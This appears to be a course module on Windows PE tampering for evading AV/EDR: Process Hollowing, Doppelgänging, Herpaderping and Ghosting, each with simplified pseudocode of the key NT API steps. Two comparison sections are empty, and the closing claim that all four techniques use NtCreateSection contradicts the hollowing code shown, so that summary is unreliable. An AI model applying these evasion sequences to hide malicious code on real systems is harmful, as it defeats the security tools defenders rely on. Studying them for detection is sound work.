Module 2: PE Tampering Techniques Overview

The evolution of PE image tampering — from Process Hollowing to Ghosting, each technique exploiting a different gap in the process creation chain.

1. The Core Problem All Techniques Share

All PE tampering techniques try to solve the same problem: execute malicious code in a process that appears legitimate to security tools. The Windows process creation chain (file → section → process → thread) gives security tools multiple inspection points. Each tampering technique targets a different gap between these inspection points.

The trick is to ensure that at each inspection point, security tools either see a clean file, see no file at all, or cannot access the file to scan it.

2. Process Hollowing (2004+)

Process Hollowing is the oldest and most well-known technique. It creates a legitimate process in a suspended state, then replaces its memory contents with malicious code before resuming.

// Simplified Process Hollowing pseudocode
CreateProcessW(L"svchost.exe", ..., CREATE_SUSPENDED, ..., &pi);

// Unmap the original image
NtUnmapViewOfSection(pi.hProcess, pImageBase);

// Allocate and write malicious PE
LPVOID pNewBase = VirtualAllocEx(pi.hProcess,
    pPreferredBase, imageSize,
    MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, pNewBase, maliciousPE, imageSize, NULL);

// Fix up PEB and thread context
// ... update ImageBaseAddress in PEB ...
// ... set thread context RCX to new entry point ...

ResumeThread(pi.hThread);

3. Process Doppelgänging (2017)

Presented by Tal Liberman and Eugene Kogan of enSilo at Black Hat Europe 2017, Process Doppelgänging uses NTFS transactions (TxF) to create a process from a file that never actually exists on disk in its malicious form.

// Process Doppelganging key steps
HANDLE hTransaction, hFile, hSection;

// 1. Create NTFS transaction
NtCreateTransaction(&hTransaction, ...);

// 2. Create file within transaction
NtCreateFile(&hFile, ...,
    hTransaction,  // transacted operation
    FILE_SUPERSEDE, ...);

// 3. Write malicious PE to transacted file
NtWriteFile(hFile, ..., maliciousPE, peSize, ...);

// 4. Create image section from transacted file
NtCreateSection(&hSection, ..., SEC_IMAGE, hFile);

// 5. Rollback - file disappears, section remains
NtRollbackTransaction(hTransaction, TRUE);

// 6. Create process from the persisted section
NtCreateProcessEx(&hProcess, ..., hSection, ...);

4. Process Herpaderping (2020)

Created by Johnny Shaw (jxy-s), Process Herpaderping exploits the gap between when the section is created from a file and when AV/EDR gets around to scanning that file in response to process creation notifications.

// Process Herpaderping key steps
HANDLE hFile, hSection;

// 1. Create file, write malicious PE
NtCreateFile(&hFile, ..., FILE_SUPERSEDE, ...);
NtWriteFile(hFile, ..., maliciousPE, peSize, ...);

// 2. Create section while file has malicious content
NtCreateSection(&hSection, ..., SEC_IMAGE, hFile);

// 3. Overwrite file with benign content AFTER section creation
SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
NtWriteFile(hFile, ..., benignPE, benignSize, ...);

// 4. Close file - on-disk content is now benign
NtClose(hFile);

// 5. Process runs from the malicious section
NtCreateProcessEx(&hProcess, ..., hSection, ...);

The key insight is that the section captures the file’s content at creation time. Modifying the file afterward does not change the section. When AV scans the file in response to the process creation callback, it sees benign content.

5. Process Ghosting (2021)

Process Ghosting, discovered by Gabriel Landau of Elastic Security and implemented as a proof-of-concept by hasherezade (process_ghosting on GitHub), takes the evolution one step further. Instead of modifying the file after section creation (Herpaderping), it deletes the file entirely. The process runs from a section whose backing file no longer exists.

6. Evolution Comparison

7. The Technique Family Tree

Each technique builds on the lessons of the previous one:

8. What They All Have in Common

Despite their differences, all four techniques share core principles:

• They all exploit the separation between NtCreateSection and NtCreateProcessEx
• They all rely on the fact that sections persist independently of their backing files
• They all use native NT APIs (NtCreateFile, NtCreateSection, NtCreateProcessEx, NtCreateThreadEx) rather than the higher-level Win32 API
• They all require setting up process parameters and the PEB manually
• They all target the gap between when the kernel captures the image content and when security tools inspect the file

Process Ghosting represents the current state of the art in this family, eliminating the backing file entirely rather than modifying it.